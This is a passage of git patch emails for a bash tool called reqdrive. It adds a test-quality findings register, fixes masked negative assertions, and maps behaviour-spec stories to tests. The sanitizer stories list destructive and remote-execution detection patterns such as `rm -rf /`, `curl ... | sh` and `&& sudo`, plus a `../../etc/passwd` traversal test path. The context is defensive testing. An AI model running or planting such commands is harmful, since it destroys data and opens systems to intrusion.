insertions(+) create mode 100644 tests/FINDINGS.md diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md new file mode 100644 index 0000000..699c4c6 --- /dev/null +++ b/tests/FINDINGS.md @@ -0,0 +1,23 @@ +# Test Quality Findings Register + +Weak assertions and known test-quality gaps, recorded rather than silently +frozen. Triaged at the end of the roadmap-completion work (P8). + +**Counting rule for "pure negative":** an assertion whose final statement is +a negation (`! cmd`), an emptiness check (`[ -z "$x" ]`), or an inequality +against absence. Such an assertion reports PASS when its own setup fails, +so it cannot detect a silent defect. + +## Open + +| # | Location | Finding | Status | +|---|---|---|---| +| F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Partially fixed** (Task 4) — positive content checks added; silent mutant now caught by 3 of 3. | +| F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open | +| F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | +| F4 | Suite-wide | ~21 assertions end in a pure negative and cannot detect setup failure. Exact count to be reproduced during P1. | Open | +| F5 | `tests/simple-test.sh:346-356` | The `reqdrive validate` assertion checks only `-ne 0`, so it does not pin the exit code. | Closed by Task 31 | + +## Closed + +_None yet._ diff --git a/tests/simple-test.sh b/tests/simple-test.sh index fd45fff..42bf1de 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -1288,6 +1288,9 @@ test_result "impl prompt: neutralizes \$(cmd) in story title" $? # Backtick command substitution must not produce raw command output # sanitize_for_prompt replaces backticks with single quotes ! grep -q '`whoami`' "$prompt_file" + # Positive: the sanitized description must actually be present. + grep -q "Use 'whoami' to attack" "$prompt_file" + grep -q '\*\*Title:\*\* Safe title' "$prompt_file" ) test_result "impl prompt: neutralizes backticks in story description" $? @@ -1309,6 +1312,9 @@ test_result "impl prompt: neutralizes backticks in story description" $? # ${HOME} must not have been expanded to the actual home directory ! grep -q "$HOME" "$prompt_file" + # Positive: the criterion text must actually be present. + grep -q 'Check \\${HOME} variable' "$prompt_file" + grep -q 'US-003' "$prompt_file" ) test_result "impl prompt: neutralizes \${VAR} in acceptance criteria" $? From d075f1a2dd2c27bc7d01b1f444c391822cf29716 Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 11:39:14 -0600 Subject: [PATCH 08/47] fix(tests): stop errexit-masking bug in impl-prompt negations Task 4 (2521737) appended positive grep checks after the two `! grep` negations in the implementation-prompt sanitization assertions. That made the negations non-terminal in their subshells; under `set -e`, bash exempts `!`-prefixed commands from errexit, so a violated negative (pattern present when it must be absent) would report PASS instead of failing the assertion. shellcheck SC2251 flagged both. Convert both to `if grep ...; then exit 1; fi` guards, which participate in errexit regardless of position and can't be re-masked by future appended lines. Update FINDINGS.md F1 to reflect the fix. --- tests/FINDINGS.md | 2 +- tests/simple-test.sh | 10 ++++++++-- 2 files changed, 9 insertions(+), 3 deletions(-) diff --git a/tests/FINDINGS.md b/tests/FINDINGS.md index 699c4c6..68e26e4 100644 --- a/tests/FINDINGS.md +++ b/tests/FINDINGS.md @@ -12,7 +12,7 @@ so it cannot detect a silent defect. | # | Location | Finding | Status | |---|---|---|---| -| F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Partially fixed** (Task 4) — positive content checks added; silent mutant now caught by 3 of 3. | +| F1 | `tests/simple-test.sh` implementation-prompt assertions | Two were pure negatives satisfied by an empty prompt file. | **Fixed** — Task 4 added positive content checks (silent mutant now caught by 3 of 3), but this made the two `! grep` negations non-terminal in their subshells; under `set -e`, bash exempts `!`-prefixed commands from errexit, so a violated negative was silently masked and reported PASS. Follow-up commit converts both to `if grep …; then exit 1; fi` guards, which participate in errexit regardless of position. Verified via `tests/mutate.sh` (`impl-prompt-silent`, `impl-prompt-return1`) and a scratch-copy masking proof. | | F2 | `tests/simple-test.sh` `${VAR}` assertion | Interpolates `$HOME` into an unanchored grep BRE, so its regex-safety depends on the machine's home path. | Open | | F3 | `lib/run.sh:285-288` | `build_implementation_prompt` writes a prompt with blank Title/Description/Criteria when `jq` fails on malformed story JSON. No guard, no assertion. | Open | | F4 | Suite-wide | ~21 assertions end in a pure negative and cannot detect setup failure. Exact count to be reproduced during P1. | Open | diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 42bf1de..188df8b 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -1287,7 +1287,10 @@ test_result "impl prompt: neutralizes \$(cmd) in story title" $? # Backtick command substitution must not produce raw command output # sanitize_for_prompt replaces backticks with single quotes - ! grep -q '`whoami`' "$prompt_file" + if grep -q '`whoami`' "$prompt_file"; then + echo "unexpected: backtick command substitution present" >&2 + exit 1 + fi # Positive: the sanitized description must actually be present. grep -q "Use 'whoami' to attack" "$prompt_file" grep -q '\*\*Title:\*\* Safe title' "$prompt_file" @@ -1311,7 +1314,10 @@ test_result "impl prompt: neutralizes backticks in story description" $? build_implementation_prompt "$prompt_file" "US-003" "$story_json" "$sanitized_content" # ${HOME} must not have been expanded to the actual home directory - ! grep -q "$HOME" "$prompt_file" + if grep -q "$HOME" "$prompt_file"; then + echo "unexpected: \$HOME expanded to actual home directory" >&2 + exit 1 + fi # Positive: the criterion text must actually be present. grep -q 'Check \\${HOME} variable' "$prompt_file" grep -q 'US-003' "$prompt_file" From d8093d8efd316642d40567e01b17d4bcf2ec758c Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 11:55:08 -0600 Subject: [PATCH 09/47] test: rename exit-code assertions to survive codes 9 and 10 MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The names claimed coverage of 'all codes'. Codes 9 and 10 arrive in P6/P7, and after the freeze lands a rename is a NEEDS_HUMAN event — so rename now, while the rename surface is declared zero. Bodies are unchanged; they enumerate 0-8 and remain correct as a subset check. --- tests/simple-test.sh | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/tests/simple-test.sh b/tests/simple-test.sh index 188df8b..e10d5a8 100644 --- a/tests/simple-test.sh +++ b/tests/simple-test.sh @@ -705,7 +705,7 @@ echo "--- Error Codes Tests ---" [ "$EXIT_USER_ABORT" = "7" ] && [ "$EXIT_PREFLIGHT_FAILED" = "8" ] ) -test_result "errors: defines all exit codes (0-8)" $? +test_result "errors: defines the base exit codes 0-8" $? # Test: EXIT_MESSAGES has entry for every exit code ( @@ -721,7 +721,7 @@ test_result "errors: defines all exit codes (0-8)" $? [ -n "${EXIT_MESSAGES[7]}" ] && [ -n "${EXIT_MESSAGES[8]}" ] ) -test_result "errors: EXIT_MESSAGES covers all codes" $? +test_result "errors: EXIT_MESSAGES covers the base codes 0-8" $? # Test: get_exit_message returns known message ( From e0fb3814be046825ad5078d28fd10a76585447fe Mon Sep 17 00:00:00 2001 From: Alex Barclay Date: Thu, 23 Jul 2026 12:15:28 -0600 Subject: [PATCH 10/47] test: add spec-map checker, annotate the existing 60 stories Every story now names the runtime test that proves it. Names come from an actual run because source and runtime text differ for 4 of 158 assertions. Stories covering several tests were split so the mapping is one story, one test, one criterion. --- .github/workflows/ci.yml | 2 +- tests/BEHAVIOR-SPEC.md | 361 +++++++++++++++++++++++++++++++++++---- tests/spec-map.sh | 75 ++++++++ 3 files changed, 402 insertions(+), 36 deletions(-) create mode 100644 tests/spec-map.sh diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index 259d6b1..5923696 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -26,7 +26,7 @@ jobs: run: shellcheck install.sh - name: Lint test scripts - run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh + run: shellcheck tests/simple-test.sh tests/run-tests.sh tests/mutate.sh tests/spec-map.sh syntax-check: name: Bash syntax check diff --git a/tests/BEHAVIOR-SPEC.md b/tests/BEHAVIOR-SPEC.md index a4967fe..ff088c5 100644 --- a/tests/BEHAVIOR-SPEC.md +++ b/tests/BEHAVIOR-SPEC.md @@ -8,46 +8,64 @@ Each story maps to one or more tests in `tests/simple-test.sh`. ## Module 1: errors.sh ### US-ERR-01: Exit code constants +**Test:** `errors: defines the base exit codes 0-8` + **As** a library consumer, **When** I source `errors.sh`, **Then** I get named exit codes: `EXIT_SUCCESS=0`, `EXIT_GENERAL_ERROR=1`, `EXIT_MISSING_DEPENDENCY=2`, `EXIT_CONFIG_ERROR=3`, `EXIT_GIT_ERROR=4`, `EXIT_AGENT_ERROR=5`, `EXIT_PR_ERROR=6`, `EXIT_USER_ABORT=7`, `EXIT_PREFLIGHT_FAILED=8`. ### US-ERR-02: Human-readable error messages +**Test:** `errors: EXIT_MESSAGES covers the base codes 0-8` + **As** a library consumer, **When** I source `errors.sh`, **Then** every exit code (0-8) has a corresponding entry in `EXIT_MESSAGES`. ### US-ERR-03: Get exit message for known code +**Test:** `errors: get_exit_message returns correct messages` + **As** a library consumer, **When** I call `get_exit_message` with a known code (e.g. 0, 3, 8), **Then** I get the matching human-readable message (e.g. "Success", "Configuration error", "Pre-flight checks failed"). ### US-ERR-04: Get exit message for unknown code +**Test:** `errors: get_exit_message returns 'Unknown error' for unknown code` + **As** a library consumer, **When** I call `get_exit_message` with an unrecognized code (e.g. 99), **Then** I get `"Unknown error"`. ### US-ERR-05: die with code and custom message +**Test:** `errors: die exits with code and custom message` + **As** a library consumer, **When** I call `die 3 "bad config"`, **Then** the process exits with code 3 and prints `[ERROR] bad config` to stderr. ### US-ERR-06: die with code, no custom message +**Test:** `errors: die uses EXIT_MESSAGES when no custom message` + **As** a library consumer, **When** I call `die 5` (no second argument), **Then** the process exits with code 5 and prints `[ERROR] Agent execution failed` (from EXIT_MESSAGES) to stderr. ### US-ERR-07: die with no arguments +**Test:** `errors: die defaults to exit code 1` + **As** a library consumer, **When** I call `die` with no arguments, **Then** the process exits with code 1. ### US-ERR-08: die_on_error after success +**Test:** `errors: die_on_error is silent after success` + **As** a library consumer, **When** the previous command succeeded (`$?` is 0) and I call `die_on_error`, **Then** nothing happens and execution continues. ### US-ERR-09: die_on_error after failure +**Test:** `errors: die_on_error exits after failure` + **As** a library consumer, **When** the previous command failed (`$?` is non-zero) and I call `die_on_error "it broke"`, **Then** the process exits with code 1 and prints the message including "it broke" to stderr. @@ -57,116 +75,225 @@ Each story maps to one or more tests in `tests/simple-test.sh`. ## Module 2: schema.sh ### US-SCH-01: Schema version — exact match passes +**Test:** `schema: check_schema_version passes on exact version` + **As** a config loader, **When** I call `check_schema_version` on a file with `"version": "0.3.0"`, **Then** it returns 0 with no output. ### US-SCH-02: Schema version — missing version warns +**Test:** `schema: check_schema_version warns on missing version` + **As** a config loader, **When** I call `check_schema_version` on a file with no `version` field, **Then** it returns 0 (backward compatible) but prints a warning mentioning "No version field" to stderr. ### US-SCH-03: Schema version — incompatible major rejects +**Test:** `schema: check_schema_version rejects incompatible major` + **As** a config loader, **When** I call `check_schema_version` on a file with `"version": "9.0.0"`, **Then** it returns 1 and prints an error mentioning "Incompatible" to stderr. ### US-SCH-04: Schema version — nonexistent file passes +**Test:** `schema: check_schema_version passes for nonexistent file` + **As** a config loader, **When** I call `check_schema_version` on a path that doesn't exist, **Then** it returns 0 (no-op). ### US-SCH-05: Schema version — older minor accepted +**Test:** `schema: check_schema_version accepts older minor (0.2.0)` + **As** a config loader, **When** I call `check_schema_version` on a file with `"version": "0.2.0"`, **Then** it returns 0 (same major = compatible). ### US-SCH-06: Schema version — newer minor warns +**Test:** `schema: check_schema_version warns on newer minor (0.9.0)` + **As** a config loader, **When** I call `check_schema_version` on a file with `"version": "0.9.0"`, **Then** it returns 0 but prints a warning mentioning "newer than supported" to stderr. ### US-SCH-07: Schema version — patch difference accepted +**Test:** `schema: check_schema_version accepts patch difference (0.3.1)` + **As** a config loader, **When** I call `check_schema_version` on a file with `"version": "0.3.1"`, **Then** it returns 0 with no error. ### US-SCH-08: Config schema — valid config passes +**Test:** `schema: validate_config_schema passes for valid config` + **As** a validator, **When** I call `validate_config_schema` on a well-formed manifest with correct types, **Then** it returns 0. ### US-SCH-09: Config schema — empty object passes +**Test:** `schema: validate_config_schema passes for empty object` + **As** a validator, **When** I call `validate_config_schema` on `{}`, **Then** it returns 0 (all fields are optional). ### US-SCH-10: Config schema — invalid JSON rejects +**Test:** `schema: validate_config_schema rejects invalid JSON` + **As** a validator, **When** I call `validate_config_schema` on a file containing non-JSON text, **Then** it returns 1 and prints an error mentioning "Invalid JSON". -### US-SCH-11: Config schema — type violations rejected +### US-SCH-11: Config schema — rejects non-string requirementsDir +**Test:** `schema: validate_config_schema rejects non-string requirementsDir` + +**As** a validator, +**When** I call `validate_config_schema` on a file where `requirementsDir` is a number, +**Then** it returns 1 and prints "requirementsDir must be a string". + +### US-SCH-24: Config schema — rejects non-number maxIterations +**Test:** `schema: validate_config_schema rejects non-number maxIterations` + **As** a validator, -**When** I call `validate_config_schema` on a file where `requirementsDir` is a number, `maxIterations` is a string, or `prLabels` is a string, -**Then** it returns 1 and prints the specific type error (e.g. "requirementsDir must be a string"). +**When** I call `validate_config_schema` on a file where `maxIterations` is a string, +**Then** it returns 1 and prints "maxIterations must be a number". + +### US-SCH-25: Config schema — rejects non-array prLabels +**Test:** `schema: validate_config_schema rejects non-array prLabels` + +**As** a validator, +**When** I call `validate_config_schema` on a file where `prLabels` is a string, +**Then** it returns 1 and prints "prLabels must be an array". ### US-SCH-12: Config schema — multiple errors reported +**Test:** `schema: validate_config_schema reports multiple type errors` + **As** a validator, **When** a config has multiple type violations, **Then** `validate_config_schema` reports all of them (not just the first). ### US-SCH-13: PRD schema — valid PRD passes +**Test:** `schema: validate_prd_schema passes for valid PRD` + **As** a validator, **When** I call `validate_prd_schema` on a file with `project`, `sourceReq`, and a valid `userStories` array, **Then** it returns 0. ### US-SCH-14: PRD schema — invalid JSON rejects +**Test:** `schema: validate_prd_schema rejects invalid JSON` + **As** a validator, **When** I call `validate_prd_schema` on non-JSON text, **Then** it returns 1. -### US-SCH-15: PRD schema — missing required fields rejected +### US-SCH-15: PRD schema — missing project rejected +**Test:** `schema: validate_prd_schema rejects missing project` + +**As** a validator, +**When** a PRD file is missing `project`, +**Then** `validate_prd_schema` returns 1 and names the missing field. + +### US-SCH-26: PRD schema — missing sourceReq rejected +**Test:** `schema: validate_prd_schema rejects missing sourceReq` + +**As** a validator, +**When** a PRD file is missing `sourceReq`, +**Then** `validate_prd_schema` returns 1 and names the missing field. + +### US-SCH-27: PRD schema — missing userStories rejected +**Test:** `schema: validate_prd_schema rejects missing userStories` + **As** a validator, -**When** a PRD file is missing `project`, `sourceReq`, or `userStories`, +**When** a PRD file is missing `userStories`, **Then** `validate_prd_schema` returns 1 and names the missing field. ### US-SCH-16: PRD schema — non-array userStories rejected +**Test:** `schema: validate_prd_schema rejects non-array userStories` + **As** a validator, **When** `userStories` is a string instead of an array, **Then** `validate_prd_schema` returns 1 and prints "userStories must be an array". ### US-SCH-17: PRD schema — empty stories array passes +**Test:** `schema: validate_prd_schema passes with empty stories array` + **As** a validator, **When** `userStories` is `[]`, **Then** `validate_prd_schema` returns 0. -### US-SCH-18: PRD schema — story-level required fields +### US-SCH-18: PRD schema — story missing id rejected +**Test:** `schema: validate_prd_schema rejects story missing id` + +**As** a validator, +**When** a story is missing `id`, +**Then** `validate_prd_schema` returns 1 and identifies the missing field with the story index. + +### US-SCH-28: PRD schema — story missing title rejected +**Test:** `schema: validate_prd_schema rejects story missing title` + +**As** a validator, +**When** a story is missing `title`, +**Then** `validate_prd_schema` returns 1 and identifies the missing field with the story index. + +### US-SCH-29: PRD schema — story missing acceptanceCriteria rejected +**Test:** `schema: validate_prd_schema rejects story missing acceptanceCriteria` + **As** a validator, -**When** a story is missing `id`, `title`, or `acceptanceCriteria`, -**Then** `validate_prd_schema` returns 1 and identifies which field is missing with the story index. +**When** a story is missing `acceptanceCriteria`, +**Then** `validate_prd_schema` returns 1 and identifies the missing field with the story index. + +### US-SCH-19: PRD schema — rejects non-array acceptanceCriteria +**Test:** `schema: validate_prd_schema rejects non-array acceptanceCriteria` -### US-SCH-19: PRD schema — story type checks **As** a validator, -**When** a story has `acceptanceCriteria` as a string (not array) or `passes` as a string (not boolean), +**When** a story has `acceptanceCriteria` as a string instead of an array, +**Then** `validate_prd_schema` returns 1 with a specific type error. + +### US-SCH-30: PRD schema — rejects non-boolean passes +**Test:** `schema: validate_prd_schema rejects non-boolean passes` + +**As** a validator, +**When** a story has `passes` as a string instead of a boolean, **Then** `validate_prd_schema` returns 1 with a specific type error. ### US-SCH-20: Checkpoint schema — valid checkpoint passes +**Test:** `schema: validate_checkpoint_schema passes for valid checkpoint` + **As** a validator, **When** I call `validate_checkpoint_schema` on a file with `req_id`, `branch`, and numeric `iteration`, **Then** it returns 0. ### US-SCH-21: Checkpoint schema — invalid JSON rejects +**Test:** `schema: validate_checkpoint_schema rejects invalid JSON` + **As** a validator, **When** I call `validate_checkpoint_schema` on non-JSON text, **Then** it returns 1. -### US-SCH-22: Checkpoint schema — missing required fields rejected +### US-SCH-22: Checkpoint schema — missing req_id rejected +**Test:** `schema: validate_checkpoint_schema rejects missing req_id` + +**As** a validator, +**When** a checkpoint is missing `req_id`, +**Then** `validate_checkpoint_schema` returns 1 and names the missing field. + +### US-SCH-31: Checkpoint schema — missing branch rejected +**Test:** `schema: validate_checkpoint_schema rejects missing branch` + +**As** a validator, +**When** a checkpoint is missing `branch`, +**Then** `validate_checkpoint_schema` returns 1 and names the missing field. + +### US-SCH-32: Checkpoint schema — missing iteration rejected +**Test:** `schema: validate_checkpoint_schema rejects missing iteration` + **As** a validator, -**When** a checkpoint is missing `req_id`, `branch`, or `iteration`, +**When** a checkpoint is missing `iteration`, **Then** `validate_checkpoint_schema` returns 1 and names the missing field. ### US-SCH-23: Checkpoint schema — non-number iteration rejected +**Test:** `schema: validate_checkpoint_schema rejects non-number iteration` + **As** a validator, **When** `iteration` is a string like `"three"`, **Then** `validate_checkpoint_schema` returns 1 and prints "iteration must be a number". @@ -176,94 +303,227 @@ Each story maps to one or more tests in `tests/simple-test.sh`. ## Module 3: sanitize.sh ### US-SAN-01: sanitize_for_prompt — escapes backticks and dollar signs +**Test:** `sanitize_for_prompt: escapes backticks and dollar signs` + **As** a prompt builder, **When** I call `sanitize_for_prompt` on text containing `` `cmd` `` and `$(cmd)`, **Then** backticks are replaced with single quotes and `$` is escaped to `\$`. ### US-SAN-02: sanitize_for_prompt — clean content passes through +**Test:** `sanitize_for_prompt: clean content passes through unchanged` + **As** a prompt builder, **When** I call `sanitize_for_prompt` on plain text with no shell metacharacters, **Then** the output is identical to the input. ### US-SAN-03: sanitize_for_prompt — empty input +**Test:** `sanitize_for_prompt: empty input returns empty` + **As** a prompt builder, **When** I call `sanitize_for_prompt ""`, **Then** the result is empty. ### US-SAN-04: sanitize_for_prompt — escapes variable expansion +**Test:** `sanitize_for_prompt: escapes ${VAR} expansion` + **As** a prompt builder, **When** I call `sanitize_for_prompt` on text containing `${HOME}`, **Then** the `$` is escaped to `\$`, producing `\${HOME}`. ### US-SAN-05: sanitize_label — clean label passes through +**Test:** `sanitize_label: clean label passes through` + **As** a PR creator, **When** I call `sanitize_label "agent-generated"`, **Then** the output is `"agent-generated"` unchanged. ### US-SAN-06: sanitize_label — strips whitespace +**Test:** `sanitize_label: strips whitespace` + **As** a PR creator, **When** I call `sanitize_label " my-label "`, **Then** the output is `"my-label"`. -### US-SAN-07: sanitize_label — removes dangerous characters +### US-SAN-07: sanitize_label — removes semicolons +**Test:** `sanitize_label: removes semicolons` + +**As** a PR creator, +**When** I call `sanitize_label` on text containing a semicolon (`;`), +**Then** the semicolon is removed from the output. + +### US-SAN-17: sanitize_label — removes pipes +**Test:** `sanitize_label: removes pipes` + +**As** a PR creator, +**When** I call `sanitize_label` on text containing a pipe (`|`), +**Then** the pipe is removed from the output. + +### US-SAN-18: sanitize_label — removes ampersands +**Test:** `sanitize_label: removes ampersands` + **As** a PR creator, -**When** I call `sanitize_label` on text containing `;`, `|`, `&`, `>`, `<`, `$`, or `\`, +**When** I call `sanitize_label` on text containing an ampersand (`&`), +**Then** the ampersand is removed from the output. + +### US-SAN-19: sanitize_label — removes redirect characters +**Test:** `sanitize_label: removes redirect characters` + +**As** a PR creator, +**When** I call `sanitize_label` on text containing redirect characters (`>` or `<`), **Then** those characters are removed from the output. -### US-SAN-08: sanitize_label — replaces quotes and backticks +### US-SAN-20: sanitize_label — removes dollar signs +**Test:** `sanitize_label: removes dollar signs` + +**As** a PR creator, +**When** I call `sanitize_label` on text containing a dollar sign (`$`), +**Then** the dollar sign is removed from the output. + +### US-SAN-21: sanitize_label — removes backslashes +**Test:** `sanitize_label: removes backslashes` + +**As** a PR creator, +**When** I call `sanitize_label` on text containing a backslash (`\`), +**Then** the backslash is removed from the output. + +### US-SAN-08: sanitize_label — replaces double quotes with single quotes +**Test:** `sanitize_label: replaces double quotes with single` + +**As** a PR creator, +**When** I call `sanitize_label` on text containing a double quote (`"`), +**Then** it is replaced with a single quote (`'`). + +### US-SAN-22: sanitize_label — replaces backticks with single quotes +**Test:** `sanitize_label: replaces backticks with single quotes` + **As** a PR creator, -**When** I call `sanitize_label` on text containing `"` or `` ` ``, -**Then** they are replaced with single quotes `'`. +**When** I call `sanitize_label` on text containing a backtick (`` ` ``), +**Then** it is replaced with a single quote (`'`). ### US-SAN-09: sanitize_label — truncates to 50 characters +**Test:** `sanitize_label: truncates to 50 chars` + **As** a PR creator, **When** I call `sanitize_label` on a 70-character string, **Then** the output is exactly 50 characters. ### US-SAN-10: sanitize_label — empty input +**Test:** `sanitize_label: empty input returns empty` + **As** a PR creator, **When** I call `sanitize_label ""`, **Then** the result is empty. ### US-SAN-11: validate_requirement_content — clean content passes +**Test:** `validate_requirement_content: clean content returns 0` + **As** a pipeline runner, **When** I call `validate_requirement_content` on normal text with no suspicious patterns, **Then** it returns 0 with no warnings. ### US-SAN-12: validate_requirement_content — warns in non-strict mode +**Test:** `validate_requirement_content: warns but returns 0 in non-strict` + **As** a pipeline runner, **When** I call `validate_requirement_content` on text containing `$(rm -rf /)` without strict mode, **Then** it prints "Suspicious pattern" warnings to stderr but still returns 0. ### US-SAN-13: validate_requirement_content — rejects in strict mode +**Test:** `validate_requirement_content: returns 1 in strict mode` + **As** a pipeline runner, **When** I call `validate_requirement_content` with `strict=true` on suspicious content, **Then** it returns 1 and prints "Strict mode enabled" to stderr. -### US-SAN-14: validate_requirement_content — detects all dangerous patterns +### US-SAN-14: validate_requirement_content — detects backtick substitution +**Test:** `validate_requirement_content: detects backtick substitution` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing backtick substitution (`` `cmd` ``), +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-23: validate_requirement_content — detects variable expansion +**Test:** `validate_requirement_content: detects ${} expansion` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing variable expansion (`${VAR}`), +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-24: validate_requirement_content — detects redirect to absolute path +**Test:** `validate_requirement_content: detects redirect to abs path` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing a redirect to an absolute path (`> /path`), +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-25: validate_requirement_content — detects destructive rm -rf / +**Test:** `validate_requirement_content: detects rm -rf /` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing `rm -rf /`, +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-26: validate_requirement_content — detects curl piped to sh +**Test:** `validate_requirement_content: detects curl pipe to sh` + **As** a pipeline runner, -**When** I call `validate_requirement_content` on text containing any of: -- `` `cmd` `` (backtick substitution) -- `${VAR}` (variable expansion) -- `> /path` (redirect to absolute path) -- `rm -rf /` (destructive command) -- `curl ... | sh` (remote code execution) -- `eval ` (eval injection) -- `chmod 777` (permission escalation) -- `; rm` (semicolon-chained rm) -- `&& sudo` (chained privilege escalation) -- `| sudo` (pipe to sudo) - -**Then** it prints a "Suspicious pattern" warning for each match. +**When** I call `validate_requirement_content` on text containing `curl ... | sh`, +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-27: validate_requirement_content — detects eval injection +**Test:** `validate_requirement_content: detects eval` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing `eval `, +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-28: validate_requirement_content — detects chmod 777 +**Test:** `validate_requirement_content: detects chmod 777` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing `chmod 777`, +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-29: validate_requirement_content — detects semicolon-chained rm +**Test:** `validate_requirement_content: detects semicolon-chained rm` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing `; rm`, +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-30: validate_requirement_content — detects chained sudo escalation +**Test:** `validate_requirement_content: detects &&sudo` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing `&& sudo`, +**Then** it prints a "Suspicious pattern" warning. + +### US-SAN-31: validate_requirement_content — detects pipe to sudo +**Test:** `validate_requirement_content: detects pipe to sudo` + +**As** a pipeline runner, +**When** I call `validate_requirement_content` on text containing `| sudo`, +**Then** it prints a "Suspicious pattern" warning. ### US-SAN-15: validate_file_path — normal path passes +**Test:** `validate_file_path: passes for normal relative path` + **As** a path validator, **When** I call `validate_file_path "src/main.sh" "/project"`, **Then** it returns 0. -### US-SAN-16: validate_file_path — rejects path traversal +### US-SAN-16: validate_file_path — rejects leading path traversal +**Test:** `validate_file_path: rejects .. traversal` + +**As** a path validator, +**When** I call `validate_file_path` with a path starting with traversal segments (e.g. `../../etc/passwd`), +**Then** it returns 1 and prints "Path traversal detected". + +### US-SAN-32: validate_file_path — rejects mid-path traversal +**Test:** `validate_file_path: rejects mid-path .. traversal` + **As** a path validator, -**When** I call `validate_file_path` with a path containing `..` (e.g. `../../etc/passwd` or `src/../../../etc/passwd`), +**When** I call `validate_file_path` with a path containing traversal segments mid-path (e.g. `src/../../../etc/passwd`), **Then** it returns 1 and prints "Path traversal detected". --- @@ -271,61 +531,92 @@ Each story maps to one or more tests in `tests/simple-test.sh`. ## Module 4: config.sh ### US-CFG-01: find_manifest — finds in current directory +**Test:** `find_manifest: finds manifest in current dir` + **As** a CLI user, **When** I run from a directory containing `reqdrive.json`, **Then** `reqdrive_find_manifest` returns the full path to that file. ### US-CFG-02: find_manifest — walks up to parent +**Test:** `find_manifest: finds manifest in parent dir` + **As** a CLI user, **When** I run from a nested subdirectory and `reqdrive.json` exists in a parent, **Then** `reqdrive_find_manifest` finds and returns the parent's manifest path. ### US-CFG-03: find_manifest — returns 1 when not found +**Test:** `find_manifest: returns 1 when no manifest found` + **As** a CLI user, **When** no `reqdrive.json` exists anywhere up the directory tree, **Then** `reqdrive_find_manifest` returns 1. ### US-CFG-04: load_config — loads all settings from manifest +**Test:** `load_config: loads all settings` + **As** a pipeline runner, **When** I call `reqdrive_load_config` with a fully-populated manifest, **Then** `REQDRIVE_REQUIREMENTS_DIR`, `REQDRIVE_TEST_COMMAND`, `REQDRIVE_MODEL`, `REQDRIVE_MAX_ITERATIONS`, `REQDRIVE_BASE_BRANCH`, and `REQDRIVE_PROJECT_NAME` are all set to the manifest values. ### US-CFG-05: load_config — applies sensible defaults +**Test:** `load_config: uses defaults for missing fields` + **As** a pipeline runner, **When** I call `reqdrive_load_config` on an empty `{}` manifest, **Then** defaults are: `requirementsDir=docs/requirements`, `model=claude-sonnet-4-20250514`, `maxIterations=10`, `baseBranch=main`, `testCommand=""`, `projectName=""`, `prLabels=agent-generated`. -### US-CFG-06: load_config — sets REQDRIVE_MANIFEST and REQDRIVE_PROJECT_ROOT +### US-CFG-06: load_config — sets REQDRIVE_MANIFEST to the manifest path +**Test:** `load_config: sets REQDRIVE_MANIFEST path` + **As** a pipeline runner, **When** I call `reqdrive_load_config`, -**Then** `REQDRIVE_MANIFEST` is the full path to the found manifest and `REQDRIVE_PROJECT_ROOT` is its parent directory (even when called from a subdirectory). +**Then** `REQDRIVE_MANIFEST` is set to the full path of the found manifest. + +### US-CFG-13: load_config — sets REQDRIVE_PROJECT_ROOT to the manifest's directory +**Test:** `load_config: sets REQDRIVE_PROJECT_ROOT to manifest dir` + +**As** a pipeline runner, +**When** I call `reqdrive_load_config` from a subdirectory of the project, +**Then** `REQDRIVE_PROJECT_ROOT` is set to the manifest's parent directory. ### US-CFG-07: load_config — joins prLabels array into comma-separated string +**Test:** `load_config: joins prLabels with commas` + **As** a pipeline runner, **When** the manifest has `"prLabels": ["a", "b", "c"]`, **Then** `REQDRIVE_PR_LABELS` is set to `"a,b,c"`. ### US-CFG-08: load_config — exits on missing manifest +**Test:** `load_config: exits with error when no manifest` + **As** a CLI user, **When** I call `reqdrive_load_config` and no manifest exists, **Then** the process exits non-zero and prints "No reqdrive.json found" to stderr. ### US-CFG-09: load_config — exits on incompatible schema version +**Test:** `load_config: exits on incompatible schema version` + **As** a CLI user, **When** I call `reqdrive_load_config` and the manifest has `"version": "9.0.0"`, **Then** the process exits non-zero and prints "Incompatible config version" to stderr. ### US-CFG-10: get_req_file — finds matching requirement +**Test:** `get_req_file: finds matching requirement` + **As** a pipeline runner, **When** I call `reqdrive_get_req_file "REQ-01"` and `docs/requirements/REQ-01-test-feature.md` exists, **Then** it returns the full path to that file. ### US-CFG-11: get_req_file — returns 1 when no match +**Test:** `get_req_file: returns 1 when no match` + **As** a pipeline runner, **When** I call `reqdrive_get_req_file "REQ-99"` and no matching file exists, 